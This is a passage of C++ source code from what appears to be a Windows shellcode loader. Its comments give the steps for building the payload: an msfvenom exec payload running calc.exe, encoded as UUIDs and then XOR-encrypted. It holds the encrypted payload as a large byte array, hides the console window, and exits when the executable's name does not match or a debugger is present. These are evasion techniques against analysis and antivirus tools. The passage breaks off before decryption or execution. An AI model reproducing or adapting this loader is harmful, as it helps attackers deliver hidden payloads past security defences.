| 91 | } |
| 92 | |
| 93 | int main(int argc, char *argv[]) |
| 94 | { |
| 95 | FreeConsole(); |
| 96 | |
| 97 | // payload generation: |
| 98 | // 1. msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin |
| 99 | // 2. python ./bin_to_uuid.py -p calc.bin -o calc.uuid |
| 100 | // 3. python ./xor_encryptor.py calc.uuid > calc.xor |
| 101 | vector<BYTE> payload{ |
| 102 | 0x26, 0x7C, 0x79, 0x7D, 0x73, 0x7D, 0x2B, 0x26, 0x6E, 0x2D, 0x79, 0x28, 0x77, 0x68, 0x7D, 0x75, 0x20, 0x78, |
| 103 | 0x6C, 0x7E, 0x77, 0x75, 0x7D, 0x68, 0x77, 0x79, 0x74, 0x7F, 0x73, 0x74, 0x78, 0x75, 0x76, 0x7A, 0x74, 0x7F, |
| 104 | 0x4D, 0x21, 0x7F, 0x76, 0x72, 0x7C, 0x79, 0x7B, 0x71, 0x68, 0x79, 0x7D, 0x75, 0x7D, 0x6C, 0x7B, 0x75, 0x7D, |
| 105 | 0x2F, 0x68, 0x75, 0x78, 0x75, 0x76, 0x6A, 0x7D, 0x2F, 0x70, 0x71, 0x79, 0x79, 0x7A, 0x7F, 0x7D, 0x2F, 0x70, |
| 106 | 0x71, 0x42, 0x76, 0x7C, 0x7F, 0x27, 0x79, 0x7D, 0x71, 0x78, 0x6C, 0x7A, 0x7F, 0x70, 0x7D, 0x68, 0x21, 0x7F, |
| 107 | 0x71, 0x28, 0x6A, 0x71, 0x2C, 0x71, 0x22, 0x65, 0x75, 0x2A, 0x74, 0x74, 0x2E, 0x7C, 0x77, 0x70, 0x72, 0x7F, |
| 108 | 0x24, 0x75, 0x47, 0x72, 0x20, 0x7E, 0x70, 0x7D, 0x24, 0x24, 0x2E, 0x68, 0x71, 0x2B, 0x71, 0x7C, 0x6A, 0x71, |
| 109 | 0x7C, 0x77, 0x73, 0x65, 0x22, 0x7F, 0x24, 0x7C, 0x60, 0x75, 0x27, 0x7C, 0x70, 0x7E, 0x76, 0x26, 0x7C, 0x20, |
| 110 | 0x71, 0x2D, 0x25, 0x44, 0x73, 0x7D, 0x78, 0x74, 0x77, 0x79, 0x74, 0x7C, 0x6A, 0x70, 0x7F, 0x7D, 0x21, 0x65, |
| 111 | 0x79, 0x2C, 0x75, 0x75, 0x60, 0x71, 0x71, 0x7B, 0x22, 0x63, 0x73, 0x7D, 0x7D, 0x74, 0x27, 0x78, 0x79, 0x2C, |
| 112 | 0x7F, 0x75, 0x75, 0x7D, 0x49, 0x7C, 0x79, 0x7E, 0x77, 0x75, 0x7D, 0x75, 0x73, 0x65, 0x22, 0x7E, 0x7F, 0x70, |
| 113 | 0x60, 0x73, 0x74, 0x7F, 0x75, 0x63, 0x73, 0x7D, 0x7D, 0x74, 0x6E, 0x2C, 0x71, 0x7B, 0x77, 0x7D, 0x2F, 0x71, |
| 114 | 0x7B, 0x79, 0x79, 0x7A, 0x73, 0x4F, 0x79, 0x7C, 0x71, 0x78, 0x75, 0x7E, 0x7F, 0x27, 0x60, 0x21, 0x73, 0x78, |
| 115 | 0x70, 0x63, 0x72, 0x73, 0x28, 0x76, 0x6E, 0x7C, 0x79, 0x28, 0x21, 0x68, 0x2E, 0x7C, 0x77, 0x79, 0x79, 0x2C, |
| 116 | 0x74, 0x71, 0x75, 0x7D, 0x77, 0x70, 0x4B, 0x7D, 0x76, 0x71, 0x29, 0x21, 0x75, 0x78, 0x70, 0x63, 0x73, 0x7D, |
| 117 | 0x2E, 0x7C, 0x6E, 0x2B, 0x71, 0x7D, 0x76, 0x68, 0x2C, 0x26, 0x77, 0x79, 0x6C, 0x2D, 0x76, 0x26, 0x74, 0x75, |
| 118 | 0x27, 0x7C, 0x70, 0x7E, 0x76, 0x26, 0x7C, 0x4F, 0x25, 0x79, 0x76, 0x7B, 0x22, 0x75, 0x7E, 0x7D, 0x6E, 0x78, |
| 119 | 0x72, 0x7A, 0x24, 0x68, 0x7F, 0x71, 0x77, 0x2B, 0x6C, 0x7E, 0x7F, 0x71, 0x78, 0x68, 0x70, 0x71, 0x25, 0x7F, |
| 120 | 0x70, 0x70, 0x29, 0x7D, 0x76, 0x70, 0x75, 0x7A, 0x4D, 0x71, 0x74, 0x77, 0x77, 0x7C, 0x71, 0x76, 0x25, 0x68, |
| 121 | 0x29, 0x75, 0x73, 0x79, 0x6C, 0x7A, 0x76, 0x73, 0x7B, 0x68, 0x7B, 0x2A, 0x71, 0x2D, 0x6A, 0x71, 0x75, 0x71, |
| 122 | 0x77, 0x70, 0x23, 0x7A, 0x77, 0x74, 0x2E, 0x71, 0x7A, 0x42, 0x79, 0x2C, 0x73, 0x74, 0x29, 0x75, 0x73, 0x79, |
| 123 | 0x6C, 0x76, 0x7F, 0x75, 0x79, 0x68, 0x73, 0x79, 0x75, 0x76, 0x6A, 0x21, 0x7D, 0x71, 0x72, 0x65, 0x74, 0x76, |
| 124 | 0x73, 0x74, 0x78, 0x7D, 0x76, 0x2D, 0x74, 0x77, 0x72, 0x24, 0x47, 0x70, 0x7A, 0x7C, 0x70, 0x7B, 0x7F, 0x71, |
| 125 | 0x7C, 0x68, 0x76, 0x29, 0x75, 0x7F, 0x6A, 0x7D, 0x7E, 0x71, 0x7B, 0x65, 0x24, 0x2D, 0x75, 0x75, 0x60, 0x71, |
| 126 | 0x72, 0x7D, 0x73, 0x28, 0x21, 0x20, 0x7D, 0x70, 0x7B, 0x7C, 0x70, 0x44, 0x7F, 0x27, 0x79, 0x7D, 0x76, 0x29, |
| 127 | 0x74, 0x77, 0x6A, 0x20, 0x74, 0x74, 0x71, 0x65, 0x27, 0x28, 0x72, 0x72, 0x60, 0x23, 0x25, 0x2E, 0x27, 0x63, |
| 128 | 0x72, 0x21, 0x79, 0x7D, 0x21, 0x29, 0x71, 0x7F, 0x77, 0x75, 0x7D, 0x75, 0x49, 0x78, 0x71, 0x7E, 0x77, 0x75, |
| 129 | 0x7D, 0x75, 0x73, 0x65, 0x75, 0x76, 0x77, 0x75, 0x60, 0x7D, 0x27, 0x70, 0x25, 0x63, 0x77, 0x74, 0x7D, 0x74, |
| 130 | 0x6E, 0x78, 0x71, 0x7E, 0x77, 0x71, 0x7C, 0x27, 0x22, 0x7B, 0x70, 0x76, 0x25, 0x4F, 0x29, 0x70, 0x25, 0x2E, |
| 131 | 0x79, 0x79, 0x71, 0x23, 0x60, 0x23, 0x73, 0x2A, 0x23, 0x63, 0x26, 0x77, 0x2F, 0x70, 0x6E, 0x7D, 0x77, 0x7A, |
| 132 | 0x76, 0x68, 0x2F, 0x24, 0x22, 0x7E, 0x78, 0x7B, 0x25, 0x21, 0x74, 0x21, 0x25, 0x2E, 0x4B, 0x2D, 0x73, 0x7D, |
| 133 | 0x7E, 0x71, 0x7B, 0x2C, 0x74, 0x63, 0x74, 0x26, 0x7F, 0x7D, 0x6E, 0x7F, 0x22, 0x7E, 0x71, 0x68, 0x7D, 0x24, |
| 134 | 0x7B, 0x78, 0x6C, 0x28, 0x25, 0x20, 0x7D, 0x72, 0x76, 0x78, 0x74, 0x2C, 0x25, 0x71, 0x7A, 0x4F, 0x75, 0x29, |
| 135 | 0x77, 0x28, 0x70, 0x77, 0x7C, 0x76, 0x6E, 0x7D, 0x78, 0x7E, 0x77, 0x68, 0x75, 0x7C, 0x77, 0x79, 0x6C, 0x2A, |
| 136 | 0x26, 0x23, 0x2B, 0x68, 0x27, 0x7D, 0x77, 0x7D, 0x71, 0x74, 0x7B, 0x26, 0x75, 0x7B, 0x73, 0x2B, 0x4D, 0x75, |
| 137 | 0x7D, 0x73, 0x76, 0x7F, 0x79, 0x78, 0x72, 0x68, 0x74, 0x75, 0x7A, 0x78, 0x6C, 0x77, 0x77, 0x7C, 0x7D, 0x68, |
| 138 | 0x7A, 0x78, 0x78, 0x7E, 0x6A, 0x7C, 0x7D, 0x7C, 0x73, 0x71, 0x71, 0x77, 0x77, 0x7C, 0x7D, 0x7C, 0x73}; |
| 139 | |
| 140 | char key[]{XOR_KEY}; |
| 141 | |
| 142 | if (strstr(argv[0], EXE_NAME) == NULL) |
| 143 | { |
| 144 | return -2; |
| 145 | } |
| 146 | |
| 147 | if (IsDebuggerPresent()) |
| 148 | { |
| 149 | return -2; |
| 150 | } |